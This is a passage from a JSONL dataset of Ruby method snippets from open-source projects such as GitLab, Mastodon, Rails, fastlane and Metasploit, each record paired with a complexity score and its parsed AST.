'\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result_bundle_path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Helper\"]},\"xcode_at_least?\",{\"type\":\"int\",\"children\":[11]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"testplan\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-testPlan '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"testplan\"]}]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},null]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"xcargs\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"xcargs\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only_testing\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\"]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"only_testing\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test_id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-only-testing:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_id\"]},\"shellescape\"]}]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_testing\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\"]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_testing\"]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test_id\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"-skip-testing:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_id\"]},\"shellescape\"]}]}]}]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"e542874c-85be-4cb4-8505-744274a0fb00"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/fp/result.rb","start_line":364,"raw_source":"def deep_clone_and_freeze(object)\n        case object\n        when Array\n          object.map { |entry| deep_clone_and_freeze(entry) }.freeze\n        when Hash\n          object.transform_values { |entry| deep_clone_and_freeze(entry) }.freeze\n        else\n          object.clone(freeze: true)\n        end\n      end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"deep_clone_and_freeze\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[null,\"deep_clone_and_freeze\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]},\"freeze\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"transform_values\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"entry\"]}]},{\"type\":\"send\",\"children\":[null,\"deep_clone_and_freeze\",{\"type\":\"lvar\",\"children\":[\"entry\"]}]}]},\"freeze\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"clone\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"freeze\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"dd3a7022-0c79-4dbb-9b34-15b577228828"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/issue_email_participants/destroy_service.rb","start_line":5,"raw_source":"def execute\n      return error_underprivileged unless user_privileged?\n      return error_no_participants_removed unless emails.present?\n\n      removed_emails = remove_participants(emails.first(MAX_NUMBER_OF_EMAILS))\n\n      if removed_emails.any?\n        message = add_system_note(removed_emails, user: system_note_author)\n        ServiceResponse.success(message: message.upcase_first << \".\")\n      else\n        error_no_participants_removed\n      end\n    end","complexity_score":23.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_privileged?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_underprivileged\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"emails\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_no_participants_removed\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"removed_emails\",{\"type\":\"send\",\"children\":[null,\"remove_participants\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"emails\"]},\"first\",{\"type\":\"const\",\"children\":[null,\"MAX_NUMBER_OF_EMAILS\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"removed_emails\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"add_system_note\",{\"type\":\"lvar\",\"children\":[\"removed_emails\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"system_note_author\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"upcase_first\"]},\"<<\",{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"error_no_participants_removed\"]}]}]}]}","id":"ed844968-6629-4eb9-921c-cedc5ff2db0f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/file.rb","start_line":22,"raw_source":"def initialize\n        @name = 'QA Test - File name'\n        @content = 'QA Test - File content'\n        @commit_message = 'QA Test - Commit message'\n        @start_branch = project.default_branch\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"str\",\"children\":[\"QA Test - File name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@content\",{\"type\":\"str\",\"children\":[\"QA Test - File content\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@commit_message\",{\"type\":\"str\",\"children\":[\"QA Test - Commit message\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@start_branch\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"default_branch\"]}]}]}]}","id":"5d274baf-b2c7-4a00-8961-45706f0809a4"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/lib/open_project/text_formatting/markdown/markdown_formatting_spec.rb","start_line":67,"raw_source":"def assert_html_output(to_test, options = {})\n    options = { expect_paragraph: true }.merge options\n    expect_paragraph = options.delete :expect_paragraph\n\n    to_test.each do |text, expected|\n      expected = \"<p class=\\\"op-uc-p\\\">#{expected}</p>\" if expect_paragraph\n      expect(to_html(text, options)).to be_html_eql expected\n    end\n  end","complexity_score":15.1,"ast_json":"{\"type\":\"def\",\"children\":[\"assert_html_output\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"to_test\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expect_paragraph\"]},{\"type\":\"true\",\"children\":[]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expect_paragraph\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"expect_paragraph\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to_test\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]},{\"type\":\"arg\",\"children\":[\"expected\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expect_paragraph\"]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<p class=\\\"op-uc-p\\\">\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]}]},{\"type\":\"str\",\"children\":[\"</p>\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"to_html\",{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"be_html_eql\",{\"type\":\"lvar\",\"children\":[\"expected\"]}]}]}]}]}]}]}","id":"1b68cee3-9606-4d2e-a888-2487226af44d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/topics/merge_service.rb","start_line":62,"raw_source":"def delete_source_topic\n      source_topic.destroy!\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_source_topic\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_topic\"]},\"destroy!\"]}]}","id":"070bbb82-f798-44e7-bf60-d36919ae3bf5"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/models/status.rb","start_line":442,"raw_source":"def set_conversation\n    self.thread = thread.reblog if thread&.reblog?\n\n    self.reply = !(in_reply_to_id.nil? && thread.nil?) unless reply\n\n    if reply? && !thread.nil?\n      self.in_reply_to_account_id = carried_over_reply_to_account_id\n      self.conversation_id        = thread.conversation_id if conversation_id.nil?\n    elsif conversation_id.nil?\n      conversation = build_owned_conversation\n      self.conversation = conversation\n    end\n  end","complexity_score":43.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_conversation\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"thread\"]},\"reblog?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"thread=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"thread\"]},\"reblog\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reply\"]},null,{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"reply=\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"in_reply_to_id\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"thread\"]},\"nil?\"]}]}]},\"!\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"reply?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"thread\"]},\"nil?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"in_reply_to_account_id=\",{\"type\":\"send\",\"children\":[null,\"carried_over_reply_to_account_id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation_id\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"conversation_id=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"thread\"]},\"conversation_id\"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversation_id\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"conversation\",{\"type\":\"send\",\"children\":[null,\"build_owned_conversation\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"conversation=\",{\"type\":\"lvar\",\"children\":[\"conversation\"]}]}]},null]}]}]}]}","id":"a9716ffe-f225-4dba-b8b6-ca2851320e3a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/gfm/uploads_rewriter.rb","start_line":34,"raw_source":"def needs_rewrite?\n        strong_memoize(:needs_rewrite) do\n          @pattern.match?(@text)\n        end\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"needs_rewrite?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"strong_memoize\",{\"type\":\"sym\",\"children\":[\"needs_rewrite\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pattern\"]},\"match?\",{\"type\":\"ivar\",\"children\":[\"@text\"]}]}]}]}","id":"8e910176-8c35-4e13-8db1-d447ef2825ae"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/ui/message.rb","start_line":19,"raw_source":"def print_prefix\n    prefix = ''\n    if datastore['TimestampOutput'] ||\n        (framework && framework.datastore['TimestampOutput'])\n      prefix << \"[#{Time.now.strftime(\"%Y.%m.%d-%H:%M:%S\")}] \"\n\n      xn ||= datastore['ExploitNumber']\n      xn ||= framework.datastore['ExploitNumber']\n      if xn.is_a?(Integer)\n        prefix << \"[%04d] \" % xn\n      end\n\n    end\n    prefix\n  end","complexity_score":30.5,"ast_json":"{\"type\":\"def\",\"children\":[\"print_prefix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"prefix\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TimestampOutput\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TimestampOutput\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"strftime\",{\"type\":\"str\",\"children\":[\"%Y.%m.%d-%H:%M:%S\"]}]}]},{\"type\":\"str\",\"children\":[\"] \"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xn\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ExploitNumber\"]}]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xn\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ExploitNumber\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xn\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Integer\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prefix\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"[%04d] \"]},\"%\",{\"type\":\"lvar\",\"children\":[\"xn\"]}]}]},null]}]},null]},{\"type\":\"lvar\",\"children\":[\"prefix\"]}]}]}","id":"69eaad56-bb54-4c7b-bb7f-83c13c642c20"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/batches.rb","start_line":328,"raw_source":"def apply_limits(relation, cursor, start, finish, batch_orders)\n        relation = apply_start_limit(relation, cursor, start, batch_orders) if start\n        relation = apply_finish_limit(relation, cursor, finish, batch_orders) if finish\n        relation\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"apply_limits\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]},{\"type\":\"arg\",\"children\":[\"cursor\"]},{\"type\":\"arg\",\"children\":[\"start\"]},{\"type\":\"arg\",\"children\":[\"finish\"]},{\"type\":\"arg\",\"children\":[\"batch_orders\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"start\"]},{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[null,\"apply_start_limit\",{\"type\":\"lvar\",\"children\":[\"relation\"]},{\"type\":\"lvar\",\"children\":[\"cursor\"]},{\"type\":\"lvar\",\"children\":[\"start\"]},{\"type\":\"lvar\",\"children\":[\"batch_orders\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finish\"]},{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[null,\"apply_finish_limit\",{\"type\":\"lvar\",\"children\":[\"relation\"]},{\"type\":\"lvar\",\"children\":[\"cursor\"]},{\"type\":\"lvar\",\"children\":[\"finish\"]},{\"type\":\"lvar\",\"children\":[\"batch_orders\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"relation\"]}]}]}","id":"d6ce8266-ba55-4904-a41f-b10f5de972c6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/color_schemes.rb","start_line":90,"raw_source":"def self.light_for_user(user)\n      if user\n        by_id(user.color_scheme_id)\n      else\n        default\n      end\n    end","complexity_score":4.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"light_for_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"by_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"color_scheme_id\"]}]},{\"type\":\"send\",\"children\":[null,\"default\"]}]}]}","id":"b0fc6223-7c60-4bf2-9959-dfbf1d1d815a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/boards/lists/move_service.rb","start_line":49,"raw_source":"def increment_intermediate_lists\n        board.lists.movable.where('position >= ?', new_position)\n                           .where('position < ?',  old_position)\n                           .update_all('position = position + 1')\n      end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"increment_intermediate_lists\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"board\"]},\"lists\"]},\"movable\"]},\"where\",{\"type\":\"str\",\"children\":[\"position >= ?\"]},{\"type\":\"send\",\"children\":[null,\"new_position\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"position < ?\"]},{\"type\":\"send\",\"children\":[null,\"old_position\"]}]},\"update_all\",{\"type\":\"str\",\"children\":[\"position = position + 1\"]}]}]}","id":"7aaa5154-d13f-4c54-ba4a-ba76db9746d8"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/stuck_builds/drop_helpers.rb","start_line":35,"raw_source":"def fetch(builds)\n        loop do\n          jobs = builds.includes(:tags, :runner, project: [:namespace, :route])\n            .limit(BATCH_SIZE)\n            .to_a\n\n          break if jobs.empty?\n\n          jobs.each do |job|\n            Gitlab::ApplicationContext.with_context(project: job.project) { yield(job) }\n          end\n        end\n      end","complexity_score":17.7,"ast_json":"{\"type\":\"def\",\"children\":[\"fetch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"builds\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"jobs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"builds\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"tags\"]},{\"type\":\"sym\",\"children\":[\"runner\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"sym\",\"children\":[\"route\"]}]}]}]}]},\"limit\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},\"to_a\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs\"]},\"empty?\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"jobs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ApplicationContext\"]},\"with_context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]},\"project\"]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job\"]}]}]}]}]}]}]}","id":"71a68782-7b91-4063-b137-a7c08ba5b4ab"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/notarize.rb","start_line":48,"raw_source":"def self.notarytool(params, package_path, bundle_id, skip_stapling, print_log, verbose, api_key, compressed_package_path)\n        temp_file = nil\n\n        # Create authorization part of command with either API Key or Apple ID\n        auth_parts = []\n        if api_key\n          # Writes key contents to temporary file for command\n          require 'tempfile'\n          temp_file = Tempfile.new\n          api_key.write_key_to_file(temp_file.path)\n\n          auth_parts << \"--key #{temp_file.path}\"\n          auth_parts << \"--key-id #{api_key.key_id}\"\n          auth_parts << \"--issuer #{api_key.issuer_id}\"\n        else\n          auth_parts << \"--apple-id #{params[:username]}\"\n          auth_parts << \"--password #{ENV['FASTLANE_APPLE_APPLICATION_SPECIFIC_PASSWORD']}\"\n          auth_parts << \"--team-id #{params[:asc_provider]}\"\n        end\n\n        # Submits package and waits for processing using `xcrun notarytool submit --wait`\n        submit_parts = [\n          \"xcrun notarytool submit\",\n          (compressed_package_path || package_path).shellescape,\n          \"--output-format json\",\n          \"--wait\"\n        ] + auth_parts\n\n        if verbose\n          submit_command << \"--verbose\"\n        end\n\n        submit_command = submit_parts.join(' ')\n        submit_response = Actions.sh(\n          submit_command,\n          log: verbose,\n          error_callback: lambda { |msg|\n            UI.error(\"Error polling for notarization info: #{msg}\")\n          }\n        )\n\n        notarization_info = JSON.parse(submit_response)\n\n        # Staple\n        submission_id = notarization_info[\"id\"]\n        case notarization_info['status']\n        when 'Accepted'\n          UI.success(\"Successfully uploaded package to notarization service with request identifier #{submission_id}\")\n\n          if skip_stapling\n            UI.success(\"Successfully notarized artifact\")\n          else\n            UI.message('Stapling package')\n\n            self.staple(package_path, verbose)\n\n            UI.success(\"Successfully notarized and stapled package\")\n          end\n        when 'Invalid'\n          if submission_id && print_log\n            log_request_parts = [\n              \"xcrun notarytool log #{submission_id}\"\n            ] + auth_parts\n            log_request_command = log_request_parts.join(' ')\n            log_request_response = Actions.sh(\n              log_request_command,\n              log: verbose,\n              error_callback: lambda { |msg|\n                UI.error(\"Error requesting the notarization log: #{msg}\")\n              }\n            )\n            UI.user_error!(\"Could not notarize package with message '#{log_request_response}'\")\n          else\n            UI.user_error!(\"Could not notarize package. To see the error, please set 'print_log' to true.\")\n          end\n        else\n          UI.crash!(\"Could not notarize package with status '#{notarization_info['status']}'\")\n        end\n      ensure\n        temp_file.delete if temp_file\n      end","complexity_score":85.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"notarytool\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]},{\"type\":\"arg\",\"children\":[\"package_path\"]},{\"type\":\"arg\",\"children\":[\"bundle_id\"]},{\"type\":\"arg\",\"children\":[\"skip_stapling\"]},{\"type\":\"arg\",\"children\":[\"print_log\"]},{\"type\":\"arg\",\"children\":[\"verbose\"]},{\"type\":\"arg\",\"children\":[\"api_key\"]},{\"type\":\"arg\",\"children\":[\"compressed_package_path\"]}]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"temp_file\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"auth_parts\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_key\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"tempfile\"]}]},{\"type\":\"lvasgn\",\"children\":[\"temp_file\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tempfile\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_key\"]},\"write_key_to_file\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--key \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_file\"]},\"path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--key-id \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"api_key\"]},\"key_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"auth_parts\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--issuer 